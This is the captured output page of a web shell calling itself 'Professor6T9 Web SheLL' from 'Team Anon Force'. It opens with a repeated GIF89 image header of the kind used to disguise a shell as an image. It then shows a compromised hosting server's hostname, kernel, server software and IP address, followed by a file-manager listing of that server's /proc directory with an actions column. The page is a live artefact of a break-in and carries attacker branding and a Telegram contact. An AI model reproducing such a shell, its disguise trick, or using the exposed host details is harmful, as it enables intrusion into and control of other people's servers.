GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux altar25.supremepanel25.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
 LiteSpeed
 170.10.161.140
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-25 12:52:42
.. dir - root/root 0755 2025-12-09 10:20:18
1755531 dir - i8872627/i8872627 0555 2026-02-01 03:54:20
1774241 dir - i8872627/i8872627 0555 2026-02-01 03:54:19
1775345 dir - i8872627/i8872627 0555 2026-02-01 03:54:20
3660425 dir - i8872627/i8872627 0555 2026-02-01 03:54:19
978903 dir - i8872627/i8872627 0555 2026-02-01 03:54:19
acpi dir - root/root 0555 2025-07-25 12:52:44
bus dir - root/root 0555 2025-07-25 12:52:53
driver dir - root/root 0555 2026-02-01 03:54:22
fs dir - root/root 0555 2025-07-25 12:52:52
irq dir - root/root 0555 2025-07-25 12:52:46
kcare dir - root/root 0555 2026-02-01 03:54:22
lve dir - root/root 0555 2026-02-01 03:54:20
net link - i8872627/i8872627 0555 2026-02-01 03:54:22
scsi dir - root/root 0555 2025-07-25 12:52:53
self link - i8872627/i8872627 0555 2026-02-01 03:54:19
sys dir - root/root 0555 2025-07-25 12:52:43
sysvipc dir - root/root 0555 2026-02-01 03:54:22
thread-self link - i8872627/i8872627 0555 2026-02-01 03:54:19
tty dir - root/root 0555 2026-02-01 03:54:22
buddyinfo 0 B root/root 0444 2026-02-01 03:54:22
cgroups 0 B root/root 0444 2026-02-01 03:54:22
cmdline inode/x-empty 0 B root/root 0444 2026-02-01 03:54:20
consoles 0 B root/root 0444 2026-02-01 03:54:22
cpuinfo inode/x-empty 0 B root/root 0444 2026-02-01 03:54:20
crypto 0 B root/root 0444 2026-02-01 03:54:22
devices 0 B root/root 0444 2026-02-01 03:54:22
diskstats 0 B root/root 0444 2026-02-01 03:54:20
dma 0 B root/root 0444 2026-02-01 03:54:22
execdomains 0 B root/root 0444 2026-02-01 03:54:22
fb 0 B root/root 0444 2026-02-01 03:54:22
filesystems inode/x-empty 0 B root/root 0444 2026-02-01 03:54:19
interrupts 0 B root/root 0444 2026-02-01 03:54:20
iomem 0 B root/root 0444 2026-02-01 03:54:22
ioports 0 B root/root 0444 2026-02-01 03:54:22
kallsyms 0 B root/root 0444 2025-07-25 12:52:53
kcore 128 TB root/root 0400 2025-07-25 12:52:43
key-users 0 B root/root 0444 2026-02-01 03:54:22
keys 0 B root/root 0444 2026-02-01 03:54:22
kmsg 0 B root/root 0400 2026-02-01 03:54:22
kpagecgroup 0 B root/root 0400 2026-02-01 03:54:22
kpagecount 0 B root/root 0400 2026-02-01 03:54:22
kpageflags 0 B root/root 0400 2026-02-01 03:54:22
loadavg inode/x-empty 0 B root/root 0444 2026-02-01 03:54:21
locks 0 B root/root 0444 2026-02-01 03:54:22
mdstat 0 B root/root 0444 2026-02-01 03:54:22
meminfo inode/x-empty 0 B root/root 0444 2026-02-01 03:54:21
misc 0 B root/root 0444 2026-02-01 03:54:22
module_stats 0 B root/root 0444 2026-02-01 03:54:22
modules 0 B root/root 0444 2026-02-01 03:54:22
mounts inode/x-empty 0 B i8872627/i8872627 0444 2026-02-01 03:54:22
mtrr 0 B root/root 0644 2025-07-25 12:52:53
pagetypeinfo 0 B root/root 0400 2026-02-01 03:54:22
partitions 0 B root/root 0444 2026-02-01 03:54:22
sched_debug 0 B root/root 0444 2026-02-01 03:54:22
schedstat 0 B root/root 0444 2026-02-01 03:54:22
slabinfo 0 B root/root 0400 2026-02-01 03:54:22
softirqs 0 B root/root 0444 2026-02-01 03:54:22
stat inode/x-empty 0 B root/root 0444 2026-02-01 03:54:19
swaps 0 B root/root 0444 2025-07-25 12:52:43
sysrq-trigger 0 B root/root 0200 2025-07-25 12:52:53
timer_list 0 B root/root 0400 2026-02-01 03:54:22
uptime inode/x-empty 0 B root/root 0444 2026-02-01 03:54:22
version inode/x-empty 0 B root/root 0444 2026-02-01 03:54:22
vmallocinfo 0 B root/root 0400 2026-02-01 03:54:22
vmstat 0 B root/root 0444 2026-02-01 03:54:20
zoneinfo 0 B root/root 0444 2026-02-01 03:54:22
© Professor6T9